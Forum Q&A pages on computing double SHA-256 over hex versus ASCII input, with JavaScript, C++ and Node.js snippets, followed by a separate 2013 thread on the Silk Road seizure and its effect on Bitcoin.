Try a hashing tool that can interpret hexadecimal input. For example see here, copy/paste the hash to the input field and check the 'Hex' checkbox.

For easy reference, lets name the various inputs and outputs from your question like so:
pre-image 1:                     hello
                                   |
                                   v
hash operation 1:                SHA256
                                   |
                                   v
hash output 1 (aka pre-image 2): 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
                                   |
                                   v
hash operation 2:                SHA256
                                   |
                                   v
hash output 2:                   9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50

Pre-image 1 is binary (ASCII) data. We know this because the range of hexadecimal characters is 0-9 and a-f, and there are characters beyond f in pre-image 1. So hash operation 1 must be performed using a binary input.
By definition, a SHA256 hash operation always produces a 256 bit integer. We typically represent this in hexadecimal format, however it could just as correctly be written in decimal format and nothing would change:
hex:     2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
decimal: 20329878786436204988385760252021328656300425018755239228739303522659023427620

(Decimal conversion using Wolfram Alpha)
Since we know that pre-image 2 is a hexadecimal number, then hash operation 2 must be performed upon a number, rather than upon binary data.
In Javascript, using the Stanford Javascript Crypto Library, the two hashes would be done like so:
var preImage1 = 'hello';
var hashOutput1 = sjcl.hash.sha256.hash(preImage1);
console.log('hash output 1: ' + sjcl.codec.hex.fromBits(hashOutput1));
var preImage2 = hashOutput1;
var hashOutput2 = sjcl.hash.sha256.hash(preImage2);
console.log('hash output 2: ' + sjcl.codec.hex.fromBits(hashOutput2));

The SJCL is clever enough to figure out the pre-image formats and perform the hash correctly in each case.
You can also do these hash operations live on my blog, here: https://analysis.null.place/how-do-the-bitcoin-mining-algorithms-work/#form10
Note how the hash output changes when you click the pre-image is hexadecimal checkbox (this only works when hexadecimal characters are present in the input).

Hope this helps.....
Had to make slight modifications to the ParseHex() provided by Andrew Chow....
Headers needed are:
#include <string>
#include <cstring>
#include <assert.h> // assert() is used

Sha256 implementation in use is the one provided by Zedwood !!
First is the ParseHex function provided by Andrew Chow
std::string ParseHex(std::string& s)
{
    assert(s.size() % 2 == 0);
    static const std::size_t symbol_count = 256;
    static const unsigned char hex_to_bin[symbol_count] =
    {
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 - 0x07
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 - 0x0F
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 - 0x17
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 - 0x1F
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 - 0x27
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 - 0x2F
        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, // 0x30 - 0x37
        0x08, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 - 0x3F
        0x00, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x00, // 0x40 - 0x47
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 - 0x4F
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 - 0x57
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 - 0x5F
        0x00, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x00, // 0x60 - 0x67
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 - 0x6F
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 - 0x77
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 - 0x7F
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 - 0x87
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 - 0x8F
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 - 0x97
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 - 0x9F
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 - 0xA7
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 - 0xAF
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 - 0xB7
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 - 0xBF
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 - 0xC7
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 - 0xCF
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 - 0xD7
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 - 0xDF
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 - 0xE7
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 - 0xEF
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 - 0xF7
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  // 0xF8 - 0xFF
    };

    std::string out;
    auto itr = s.begin();
    while (itr != s.end())
    {
       unsigned char b = static_cast<unsigned char>(hex_to_bin[*(itr++)] << 4);
       b |= static_cast<unsigned char>(hex_to_bin[*(itr++)]     );
       out.push_back(b);
    }
    return out;
}

Then next is the modified sha256 function call.
std::string sha256(std::string input)
{
    string kk;
    int size = input.length();

    unsigned char header_data[size], hash[32];// header_data is "160" in size because midstate optimization is not implemented
    char buf[2*32+1];
    buf[2*32] = 0;

    input = ParseHex(input); // ParseHex() is UNDEFINED !!!
    init(); // Initiialize
    update((unsigned char*)input.c_str(), input.length()); // Update
    final(hash); // Finalize

    // Uncomment code below if you want to directly double hash input data using a single "sha256(input)" function call
    // init();
    // update(hash, 32);
    // final(hash);

    for (int i = 0; i < 32; i++)
        sprintf(buf+i*2, "%02x", hash[i]); // feed data from hash into buf and format data

    return std::string(buf); // Return buf as string instead of char
}

THESE FUNCTIONS NEED TO BE PASTED INSIDE THE SHA256 HEADER FILE
YOU'D HAVE TO REVERSE ENDIANESS OF HASH RESULT.
ALSO, THE "assert()" THROWS AN ERROR FOR UNEVEN LENGTHED INPUTS.. SO "abc" WON'T WORK.

Hope this helps you if you ever need this....
Cheers!!

Late to the party, but here is a Node.js implementation using the built-in crypto module:
const crypto = require('crypto');
/**
 *
 * @param {Buffer} data
 * @returns {Buffer}
 */
function doubleSHA256(data) {
  return crypto.createHash('sha256').update(crypto.createHash('sha256').update(data).digest()).digest();
}

It looks like you have coded your algo to always assume that
your input msg always contains data in ASCII display format.
That would explain why your first algo produced the correct
hash table.
For run2, you can have your input msg data in any format you
like, as long as you have some way of telling your algo what
to expect.
I am going to assume that when you wrote your algo, that you
coded it to always expect ASCII display format in the input
msg file.
So, if you didn't switch your first output block table to
ASCII display format, then that would explain why you didn't
get the expected final block table from your second run.
Grab a list of "The IBM PC Character Set" and you'll see
what I mean.
eg if you're providing an 'a' and it's really a hexadecimal 'a'
as opposed to a ASCII display format 'a', then you've GOT to
let your algo know what you are doing - it can't second guess
that you've switched formats without telling it.
So similarly, you may have put the hexadecimal hash or even
the binary hash table, from run1 output into run2 input,
which is fine, BUT you have let your algo know that it
should read it as what ever format you picked, to wack into
the run2 input file.
There are 2 ways to fix this IMO.
(1) convert your output hash block table from run1, to ASCII
display chars and wack them into the run2 input file.
I wouldn't do this because you get some wierd and wonderful
ASCII display chars that may do wierd things.
(2) Re-code your algo, so that you can tell it what data
will be coming at it, from the run2 input file.
That's a more flexible way to do things, and it opens up a
lot more options in terms of using any base you like, even
your own custom ones, but YMMV.
A lot of water has passed under the bridge since your problem
was published, but this may help others.


text:
With SilkRoad shutting down, and BitCoins being seized, what does this mean for bitcoin?
Over the past 2 days, it has come to light that the online market place SilkRoad has been seized by the FBI. Also, they have seized $3.5m worth of BitCoin (which must've been in Escrow).
http://www.bbc.co.uk/news/technology-24381847
http://arstechnica.com/tech-policy/2013/10/feds-shut-down-silk-road-arrest-alleged-admin-dread-pirate-roberts/
What does this mean for the BitCoin cryptocurrency - can we expect a sudden increase in the value of a BitCoin? Or because BitCoins biggest source of transaction is shut down, will we see a sudden crash?
The above does not have to be strictly related to the amount that was seized - it can be influenced by peoples view of bitcoin after the seizure of the money.
Also, is BitCoin itself in trouble for "money laundering" or anything similar?

@murch I appreciate the response - however other questions that lead to discussion and future guessing such as http://bitcoin.stackexchange.com/questions/4998/how-much-would-it-cost-for-a-government-to-undermine-bitcoins?rq=1 have remained. This is quite a present question which does relate to real world situations right now, and can be answered with quite a solid response, especially from people invested in bitcoin. Yourself has answered part of my question aptly already.

There have been too many big investments into the bitcoin space as that a seizure of $3.5m would rock the boat all that much. IMO Bitcoin has plenty of legitimate use-cases and as such will weather the shut-down of SilkRoad easily. (I'm probably not the only one that had been expecting the shut-down of SilkRoad sooner or later.) However, this question will lead mainly to discussion and future guessing, so I voted to close. The question would probably be a better fit for a forum such as for example BitcoinTalk.

Sorry, I was just trying to push that in as an edit belatedly. Then let me try a better answer. :)

Bitcoin being seized
The bitcoins on SilkRoad have been seized by gaining access to the private keys of the SilkRoad's wallets. Government agencies have seized bitcoins once before in a similar fashion from a customer of SilkRoad. $3.6m are somewhere around 30k Bitcoin out of the around 11.75m currently existing. For comparison more than 500k BTC have been transmitted in the last 24h according to Blockchain.info. The amount that was seized is economically insignificant and as it probably will be held as evidence for the trial, will not have any influence on the bitcoin market itself.
SilkRoad being shut-down
Bitcoin has plenty of legitimate reasons to be used, so that this one illegal reason should not be all that important.
Bitcoin is useful for/because:

International money transfers (superior speed, reduced cost, however you have the currency risk)
Faster and cheaper for shop owners compared to credit card payments
No exposure of credit-card information when online-shopping
Solves a bunch of problems for services such as porn merchants (no chargeback (buyer's remorse is a big problem for them), pseudonymity, fast, cheap, easy)

Bitcoin has started building a lobby (Bitcoin Foundation, Angle Investors, Investment Trusts, Exchange Traded Funds) and businesses (Exchanges, Webstores, Mining equipment manufacturers, Gambling) have been gathering investments, so that there is funded interest to keep bitcoin going.
I don't think that it was particularly unexpected to see SilkRoad shut down and don't think that it will be a bad thing for the bitcoin project. If anything, it might prove to be an opportunity for the bitcoin project to show that it has evolved beyond just shady use-cases.

So with that in mind, I assume these results for mining profit is because of the $3.2m seizure of bitcoins in escrow? http://blockchain.info/charts/miners-operating-profit-margin

@rickyduck: Blockchain's estimate of profitability seems to be falling because difficulty has been rising lately (due to more mining capacity entering the market), and it's not clear whether their estimate reflects the availability of cheaper and more efficient mining hardware.  I don't see how there's any connection between that graph and the Silk Road seizure.

@rickyduck: Those two things have no connection. This Coindesk article has more details on the SilkRoad shutdown.

@Murch thanks, please see my comment in trankvileator's answer below, to prevent duplicate. It highlights points in the coindesk article

I think the BBC News article misses a point there: SilkRoad had been a focus in reports on Bitcoin for a long time and in the eye of the informed reader its shut-down doesn't represent a stronger association with illegal activity, but rather a reduction of that – in fact the case shows that all the fear-mongering about how Bitcoin represented a safe-haven for criminal activity was false. The traded value of Bitcoin is almost back to the height before the crash, so the dip was probably bitcoin users that had bought into Bitcoin solely to access SilkRoad dumping their stash.

One reddit user, TheBitcoinCatalog, had a very interesting realization:

for the first time the public can monitor the money that a government own.

I think that's a profound occurrence.

I just read an interesting blog article about a related observation. In the wake of the Silk Road bust, the US government has transferred a cache of Bitcoins to a government-controlled Bitcoin address. How long until they are stolen by a savvy employee?

Heh. Very good point.

3.5M $ in BTC it is nothing for the Bitcoin economy.
The current price is about 130$:
3500000$ / 130$ = 26923.07 BTC

The FBI took about 27k worth of BTC.
Each day, the network produces 3.6k new BTC:
25btc * 6 * 24h = 3600 BTC per day

Finally,
26923.07 BTC / ( 25 * 6 * 24 ) = 7.48 days

So the FBI took the network's total reward of a bit over a week.
As more bitcoins will be destroyed as far its price will rising up!
Edit: It was really nearby:  Total: 29,657.48690986 BTC

Thanks for your answer. I understand now that it is a drop in the ocean relative to the full size. My question isn't solely based on the amount that was seized, also the fact that it was seized in the first place. This news article has also come to light: http://www.bbc.co.uk/news/technology-24381847 and mentions about investors being worried, is that unfounded?

Investors should be worried but for other reasons, its their job to worry about things. Its still a risky investment before and after silkroad. The large impact the closure had on BTC was a surprise to me but it confirms that anything can rock the boat and BTC has a long way to becoming a "currency". With this event I look forward, there still to much noise in the system in the form of scams, casinos and too few useful applications. Just my two cents, btw Im trying to build something useful with BTC so I'm not only ranting...